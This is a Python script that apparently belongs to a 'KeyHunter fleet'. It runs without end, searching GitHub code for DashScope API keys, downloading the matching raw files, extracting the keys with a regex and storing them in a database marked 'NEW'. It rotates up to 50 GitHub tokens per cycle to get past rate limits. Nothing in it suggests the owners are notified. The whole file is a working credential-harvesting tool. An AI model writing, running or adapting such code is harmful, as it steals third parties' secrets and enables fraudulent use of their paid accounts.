86 lines
3.6 KiB
Python
86 lines
3.6 KiB
Python
"""gitgraber_eternal.py — gitGraber wrapper for KeyHunter fleet.
|
|
Monitors GitHub in real-time using gitGraber engine, extracts DashScope keys,
|
|
saves to keys.db with prov='gitgraber'.
|
|
"""
|
|
import os, sys, time, hashlib, sqlite3, re
|
|
|
|
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
|
sys.path.insert(0, os.path.join(KF_BASE, '..', 'gitGraber'))
|
|
sys.path.insert(0, KF_BASE)
|
|
|
|
DB = os.path.join(KF_BASE, 'data', 'keys.db')
|
|
LOG = os.path.join(KF_BASE, 'gitgraber_eternal.log')
|
|
REST = 300 # 5 min between cycles
|
|
|
|
KEY_RE = re.compile(r'sk-[0-9a-f]{32}')
|
|
|
|
def log(msg):
|
|
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
|
|
print(line, end='')
|
|
with open(LOG, 'a') as f: f.write(line)
|
|
|
|
def main():
|
|
log(f"=== gitgraber eternal START pid={os.getpid()} ===")
|
|
|
|
import gitGraber
|
|
from config import GITHUB_TOKENS
|
|
|
|
db = sqlite3.connect(DB)
|
|
|
|
while True:
|
|
try:
|
|
# Use gitGraber's core search logic
|
|
for token in GITHUB_TOKENS[:50]: # Rotate 50 tokens per cycle
|
|
try:
|
|
# Search with dashscope keywords
|
|
query = 'dashscope+sk-+api_key'
|
|
url = f'https://api.github.com/search/code?q={query}&sort=indexed&order=desc&per_page=30'
|
|
|
|
import requests
|
|
r = requests.get(url,
|
|
headers={'Authorization': f'token {token}', 'User-Agent': 'gitgraber-eternal'},
|
|
timeout=15)
|
|
|
|
if r.status_code != 200:
|
|
if r.status_code == 403: continue
|
|
break
|
|
|
|
data = r.json()
|
|
for item in data.get('items', [])[:10]:
|
|
repo = item['repository']['full_name']
|
|
path = item['path']
|
|
html_url = item['html_url']
|
|
|
|
# Get raw content
|
|
for branch in ['main', 'master']:
|
|
raw = f'https://raw.githubusercontent.com/{repo}/{branch}/{path}'
|
|
try:
|
|
r2 = requests.get(raw, headers={'User-Agent': 'python'}, timeout=5)
|
|
content = r2.text
|
|
if len(content) < 100000:
|
|
keys = set(KEY_RE.findall(content))
|
|
for k in keys:
|
|
khash = hashlib.sha256(k.encode()).hexdigest()[:12]
|
|
# INSERT IF NOT EXISTS
|
|
existing = db.execute('SELECT id FROM keys WHERE hash=? AND val=?', (khash, k)).fetchone()
|
|
if not existing:
|
|
db.execute('INSERT INTO keys(hash,prov,val,status,plan,raw_url) VALUES(?,?,?,?,?,?)',
|
|
(khash, 'gitgraber', k, 'NEW', '', html_url))
|
|
log(f" + {k[:40]}... {repo}")
|
|
break
|
|
except: continue
|
|
except Exception as e:
|
|
log(f" token error: {e}")
|
|
continue
|
|
|
|
db.commit()
|
|
log(f"Cycle done. Sleeping {REST}s...")
|
|
|
|
except Exception as e:
|
|
log(f"ERROR: {e}")
|
|
|
|
time.sleep(REST)
|
|
|
|
if __name__ == '__main__':
|
|
main()
|